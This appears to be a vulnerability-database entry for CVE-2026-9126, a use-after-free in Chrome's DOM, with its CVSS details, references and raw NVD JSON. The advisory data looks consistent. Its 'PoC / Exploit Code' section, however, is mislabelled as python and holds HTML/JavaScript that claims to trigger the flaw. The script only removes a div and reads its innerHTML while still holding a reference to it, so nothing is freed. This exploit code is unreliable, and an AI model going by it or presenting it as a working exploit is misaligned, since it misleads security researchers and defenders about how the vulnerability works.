CVE-2026-9126

Description

Use after free in DOM in Google Chrome on prior to 148.0.7778.179 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.179

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-9126 -->
<!-- This PoC attempts to trigger a Use-After-Free in Chrome DOM -->
<!DOCTYPE html>
<html>
<body>
<script>
    // Create a DOM element to target
    var targetElement = document.createElement('div');
    document.body.appendChild(targetElement);

    // Malicious function to trigger UAF
    function exploit() {
        // Remove the element from the DOM tree
        document.body.removeChild(targetElement);
        
        // Hint garbage collection to free the object memory
        if (window.gc) {
            window.gc();
        }

        // Attempt to access the freed object (Use-After-Free)
        // In a real exploit scenario, this memory location would be controlled
        try {
            var content = targetElement.innerHTML;
            console.log("Object still accessible (UAF triggered): " + content);
        } catch (e) {
            console.log("Access violation or error: " + e.message);
        }
    }

    // Trigger the exploit after a short delay
    setTimeout(exploit, 1000);
</script>
<p>CVE-2026-9126 PoC: Open the browser console to observe results.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9126
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9126
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9126/
[4] VulDB https://vuldb.com/cve/CVE-2026-9126
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html
[6] https://issues.chromium.org/issues/496280532

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9126", "sourceIdentifier": "[email protected]", "published": "2026-05-20T20:16:45.540", "lastModified": "2026-05-20T20:16:45.540", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in DOM in Google Chrome on prior to 148.0.7778.179 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0841193308.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/496280532", "source": "[email protected]"}]}}